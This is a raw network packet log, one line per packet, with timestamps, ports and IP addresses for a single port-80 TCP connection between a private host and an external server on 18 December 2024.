                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.629631996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.629771948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.630882978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.630963087 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.631025076 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.631928921 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.631973028 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.632064104 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.633095026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.633137941 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.633513927 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.634258986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.634300947 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.634399891 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.635396004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.635443926 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.635987997 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.636624098 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.636723042 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.636763096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.637922049 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.637964964 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.638114929 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.638911009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.638957024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.639040947 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.640041113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.640084028 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.640326023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.641184092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.641469955 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.641520023 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.642061949 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.642106056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.643488884 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.643791914 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.643807888 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.643848896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.644851923 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.644905090 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.645298958 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.645747900 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.645798922 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.646034956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.647048950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.647099972 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.647183895 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.648113966 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.648160934 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.648250103 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.648798943 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.648814917 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.648935080 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.649935007 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.649950981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.649987936 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.651123047 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.651139021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.651174068 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.652303934 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.652318954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.652363062 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.653404951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.653420925 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.653470993 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.654499054 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.654575109 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.654942036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.655767918 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.655782938 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.655818939 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.656794071 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.656847954 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.656951904 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.657917023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.658057928 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.658092976 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.659044027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.659094095 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.659164906 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.660579920 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.660686970 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.661114931 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.661408901 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.661423922 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.661468029 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.662662029 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.662678957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.662720919 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.663827896 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.663878918 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.663948059 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.667619944 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.667635918 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.667651892 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.667665958 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.667690992 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.667722940 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.797869921 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.797895908 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.797959089 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.798405886 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.798422098 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.798491955 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.799359083 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.800554037 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.800573111 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.800599098 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.801662922 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.801680088 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.801707029 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.802367926 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.802561045 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.803123951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.803139925 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.803201914 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.804414988 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.804430962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.804481983 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.805270910 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.805286884 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.805335999 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.806391954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.806407928 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.806464911 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.807452917 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.808597088 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.808612108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.808640003 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.808767080 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.808805943 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.809828043 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.810880899 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.810897112 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.810929060 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.811624050 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.811669111 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.812160015 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.812175989 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.812223911 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.813280106 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.814116001 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.814177990 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.814444065 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.814459085 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.814505100 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.816020012 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.816035986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.816086054 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.816772938 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.816788912 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.816828966 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.817846060 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.817862034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.817903042 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.819206953 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.819221973 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.819264889 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.820152044 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.820168018 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.820214033 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.821252108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.821469069 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.821516991 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.822597980 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.822613001 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.822654009 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.823817015 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.823832035 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.823873997 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.824872017 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.824924946 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.825124025 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.825870037 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.826092958 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.826142073 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.827146053 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.827172041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.827394962 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.828274012 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.828289986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.828329086 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.829410076 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.829834938 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.829884052 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.830530882 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.830555916 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.830601931 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.831756115 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.831773996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.831810951 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.832820892 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.833087921 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.833204031 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.833929062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.834083080 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.834183931 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.835153103 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.835223913 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.835433006 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.836344957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.836416006 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.836462021 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.837382078 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.837522984 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.837573051 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.838526011 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.838615894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.838665009 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.839711905 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.840179920 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.840228081 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.840843916 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.841065884 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.841167927 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.842035055 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.842109919 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.842307091 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.843132973 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.843725920 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.843777895 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.844329119 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.844786882 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.844851017 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.845542908 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.845556021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.845604897 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.846641064 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.846720934 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.846771955 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.847724915 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.848181963 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.848227024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.848915100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.849217892 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.850106955 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.850126982 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.850157022 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.850183964 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.851192951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.851284981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.851495028 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.852546930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.852679968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.852726936 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.853482008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.854053974 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.854101896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.854664087 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.854707003 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.855098009 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.855817080 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.856045008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.856139898 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.856930971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.857125998 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.857176065 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.858031034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.906416893 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.989075899 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.989097118 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.989181042 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.989512920 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.989656925 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.990922928 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.990936041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.990957022 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.990977049 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.991790056 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.991986036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.993000984 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:44.993012905 CET804980784.200.24.191192.168.2.5
